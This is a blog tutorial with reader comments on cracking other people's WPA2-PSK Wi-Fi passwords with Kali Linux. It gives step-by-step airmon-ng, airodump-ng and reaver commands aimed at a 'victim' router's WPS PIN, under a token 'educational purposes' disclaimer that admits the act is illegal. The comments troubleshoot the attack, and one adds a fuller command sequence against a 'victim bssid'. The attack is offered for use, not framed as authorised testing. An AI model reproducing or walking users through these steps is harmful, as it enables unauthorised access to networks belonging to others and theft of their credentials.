How to hack wifi (WPA2-PSK) password using Kali Linux 2.0

Today I’m gonna tell you. HOW TO HACK WIFI PASSWORD.

Hack Wap2-psk using reaver method.

Warning..!! WIFI hacking is illegal.
“This video is only for educational purposes. I am not responsible for any consequences.”

So lets Start Cracking..

Step 1: Open Terminal and Find out the name of your wireless adapter. , type ifconfig on a terminal. See the result. (here my wireless adapter is ‘wlan0’)


Step 2: Type the following commands on terminal.

  • airmon-ng check kill
  • airmon-ng check


Step 3: Enable Monitor mode. Now, we use a tool called airmon-ng to create a virtual interface called mon. Just type

  • airmon-ng start wlan0 


Step 4: Start capturing packets. we’ll use airodump-ng to capture the packets in the air. You’ll see the name of the wifi you want to hack.

  • airodump-ng wlan0mon

then press Ctrl+c


Step5: Copy the BSSID of Victim. And write it on this command.

  • reaver -i wlan0mon -b (BSSID) -vv -K 1

For ex: reaver -i wlan0mon -b B0:5G:54:96:G7:70 -vv -K 1


Alfa WiFi Network Adapter

SanDisk Ultra Dual USB 32GB


Here I’m using (Kali Linux Live) bootable USB. You can also install kali Linux in your laptop. “This method usually works on D-Link wifi routers ,but you can try it on other routers.”
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Author: Dipanshu

Dipanshu is a Computer Science Engineer student, Blogger and Technology Enthusiast. He is the Founder of Hacking Everyday. He writes about tech, food, health and everyday hacks.

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  1. hi
    sir i want to open the wireless network in vm ware but i don’t know how to open wireless network in vm ware so plz you can tell me about.

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    • Thats actually the major drawback of using virtual machine and virtual box. You’ll have to insert a wireless LAN module from third party to get access to wifi or just use live bootable USB like the author did.

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    • You have to use a wifi adapter. For instance, tp link wifi adapter. Virtual machine can not use the network interface card. So a external adapter is surely needed.

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  2. this process stucks at
    [+] starting cracking session. pin count: 0, max pin attempts: 11000

    help me.

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  3. When im using

    airmon-ng check kill
    airmon-ng check

    it seems an error that is

    ls: cannot access ‘/sys/class/ieee80211’ : No such file or directory.

    plzz help me.

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    • You are using virtual machine. doesn’t work. Install kali direct in laptop or make usb live which use the hardware directly. virtual machine does not use wifi hardware directly. it make bridge.

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  4. it shows failed to associate with (BSSID) error
    any solutions?

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  5. Hi,
    Thanks for good insight of it.

    I am very new to security but i am always so confused when we already have a wifi device at home why do we need an extra adapter/device or a usb for cracking a WPA2-PSK security as i have seen every person who make these tutorials suggests to get an external adapter so what is the difference between our normal TP-Link wifi device and your suggested wifi external adapter or usb and why do we need it actually for what perpose?

    Would be so glad to know it, thanks in advance!

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    • The most important requirement is a good wireless adapter. To really be effective at wireless hacking, your wireless adapter should have two primary features.
      The ability to enter monitor (promiscuous) mode.
      The ability to inject packets and capture packets simultaneously.
      The difference between an adapter and a WiFi router is
      “Wi-Fi router” – This is the controller of your wireless network, it provides the features of a router, and connected to a high-speed connection. And
      “Adapter” – It is used with desktop or Notebook PCs, a USB wireless adapter allows you to connect your system to the wireless network without installing any adapter cards.

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      • Hi. This is nishanth! actually i’m new to kali linux.
        i have an alfa network adapter (model- AWUS036H) and driver disk. but i don’t know to install it in kali linux. how can i install driver?
        if you know about this please help me!

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  6. Nice Blog, can you please also tell how to use pixiewps?

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  7. Thanks for this article.I am really inspired read your article. Many of days I am trying how to hack wifi but I am not got it.Now I will hack any kind of wifi after reading your article.
    Again thank you above this article.

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  8. I get stuck at step 4. When I type “airodump-ng wlan0mon”, no packets are captured. Does this mean my driver is incompatible & I need to buy an external Wi-Fi adapter? I kind of don’t feel like doing that.

    Also, I can’t enter monitor mode through Kali. But if I run Reaver on the OS X terminal (I’m using a Macbook Pro) instead of the Kali terminal, monitor mode launches (yay!) but packet capture still fails (wtf). This makes no sense and there isn’t good documentation on the internet about how to fix any of this.

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  9. Reaver rarely if ever works now. Just about all routers now use rate limiting and will shut you out after typically three wrong guesses.

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  10. I get suck in “start cracking blablabla”, can someone help me?
    There nothing printed command afer that

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  11. Couldn’t capture any BSSID (run airodump for 10 min). Extension pack was installed, exterior wifi adapter (TP link) is present and active. What could be wrong? any suggestions

    Still on NET setting for Network, could that be the issue?

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    • Same problem i couldn’t find any BSSID..

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  12. when I am using reaver command then switching wlan0mon to channel 1 2….14 then nothing on screen just blink a cursor plz help me

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    • Use – c instead – k

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    • same here typing switching channel 1,2,3,4,…,9 then it stops and does nothing

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  13. Reaver keeps trying the same pin ‘12345670’ again and again… Any suggestions on how i should fix it?

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  14. Its trying again and again the same pin. It is showing “Trying PIN 12345670 again” then shows this “Sending EAPOL START request
    [!] WARNING: Receive timeout occurred”
    What to do ??

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  15. I think this method only works with WIFI routers. Thanks for the article.

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  16. I want to tell somthing im using tenda wifi but packet data not inject to other wifi plz reply

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  17. I had seen ur every reply ur all comment is right

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  18. 100% working:
    1-# systemctl stop NetworkManager
    2-# airmon-ng check kill
    3-# iw dev
    4-# ip link set wlan0 down
    5-# iw wlan0 set monitor control
    6-# ip link set wlan0 up
    7-# iw dev
    8-# wash -i wlan0

    for stop type ctrl+c
    9-# reaver -i wlan0 -b (your victim bssid) -vv

    resultes: wps pin
    10-# reaver -i wlan0 -b (your victim bssid) -p (wps pin)

    note: wlan0 =>interface

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  19. i cant install tp link wn 821n on kali linux it shows my built in wlan but not external one
    need help

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  20. hi. actually i’m new to kali linux.
    i have an alfa network adapter (model- AWUS036H) and driver disk. but i don’t know to install it in kali linux. how can i install driver?
    anyone knows about this please help me!

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  21. it shows a dictionary error at end . please help me

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  22. my use adaptor tplink722 anable mode monitor.please helo me

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